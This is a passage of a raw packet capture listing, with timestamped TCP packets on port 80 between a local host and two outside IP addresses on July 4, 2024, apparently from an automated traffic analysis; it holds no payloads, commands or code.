                                                              Jul 4, 2024 11:16:18.823590994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823601961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823612928 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823616982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823628902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823630095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823664904 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823847055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823860884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823872089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823883057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823889017 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823904037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823914051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823915958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823925972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823936939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823947906 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823954105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823975086 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823990107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.824181080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824193001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824203014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824213982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824229002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824239016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.824240923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824258089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824259996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824266911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824269056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824270010 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.824281931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824284077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.824296951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824307919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824318886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824321985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.824331045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.824345112 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.824381113 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.840533972 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.849775076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.849832058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.849850893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.849864006 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.849914074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.849917889 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.849927902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.849939108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.849951029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.849962950 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.849991083 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.865282059 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.865293026 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.865303993 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.865382910 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.865384102 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.865398884 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.865443945 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.865459919 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.865472078 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.865511894 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.866291046 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.866308928 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.866318941 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.866367102 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.866389036 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.866400957 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.866440058 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.867165089 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.867217064 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.867244959 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.867252111 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.867292881 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.867305994 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.867317915 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.867352009 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.868122101 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.868150949 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.868161917 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.868189096 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.891968966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.891987085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.891998053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892040014 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892153025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892164946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892175913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892189026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892204046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892235041 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892236948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892247915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892258883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892271042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892277956 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892282963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892298937 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892330885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892445087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892457008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892467022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892477989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892494917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892499924 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892505884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892513037 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892558098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892644882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892659903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892668962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892680883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892690897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892693996 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892703056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892714024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892719984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892750978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892812014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892858982 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892882109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892896891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892906904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892925024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892930031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892936945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892947912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892957926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.892959118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892971992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892982006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892992973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.892999887 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.893006086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.893030882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.893260002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.893286943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.893296957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.893307924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.893316031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.893321037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.893343925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.893369913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.912255049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912307978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912318945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912374973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912386894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912385941 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.912401915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912411928 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.912415981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912436962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.912514925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912543058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912554979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912559032 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.912568092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912591934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.912664890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912676096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912688017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912698030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912707090 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.912712097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912733078 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.912761927 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.912883997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912899971 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912910938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912925005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912935972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912939072 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.912947893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912959099 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.912959099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.912987947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913048029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913059950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913079977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913089991 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913093090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913105965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913116932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913125038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913151979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913360119 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913372993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913388968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913399935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913408995 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913412094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913424969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913429976 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913438082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913450956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913460970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913463116 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913475990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913492918 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913506031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913690090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913702965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913713932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913724899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913737059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913739920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913749933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913757086 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913763046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913775921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913777113 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913788080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913803101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913815022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.913815022 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913834095 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.913858891 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.914108992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914122105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914133072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914144993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914155960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914166927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914176941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914192915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914206028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914212942 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.914212942 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.914212942 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.914221048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914227962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.914235115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914247036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914300919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.914300919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.914366007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914378881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.914417028 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.921045065 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.939785957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.939802885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.939821959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.939861059 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.939877033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.939889908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.939902067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.939915895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.939927101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.939961910 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.983180046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983202934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983217001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983230114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983242989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983253956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983267069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983298063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.983342886 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.983366013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983378887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983390093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983409882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983417988 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.983422041 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983434916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983445883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983457088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983469009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983479977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.983514071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.983650923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983706951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983726025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983736992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983748913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983758926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983767986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.983772039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983779907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.983784914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.983795881 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.983824015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.984023094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984041929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984054089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984065056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984076977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984087944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984097958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.984100103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984114885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984118938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.984128952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984141111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984153032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984157085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.984164953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984179020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984189987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.984191895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984205008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984217882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.984230995 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.984263897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.988204002 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.988261938 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.988274097 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.988295078 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.988307953 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.988321066 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.988332987 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.988369942 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.988369942 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.988449097 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.988461971 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.988473892 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.988495111 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.988495111 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.988548040 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.996709108 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996730089 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996748924 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996759892 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996772051 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996783018 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996790886 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.996795893 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996807098 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996830940 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996840000 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.996843100 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996856928 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996870041 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.996870041 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996881962 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.996892929 CEST8049725176.113.115.177192.168.2.6
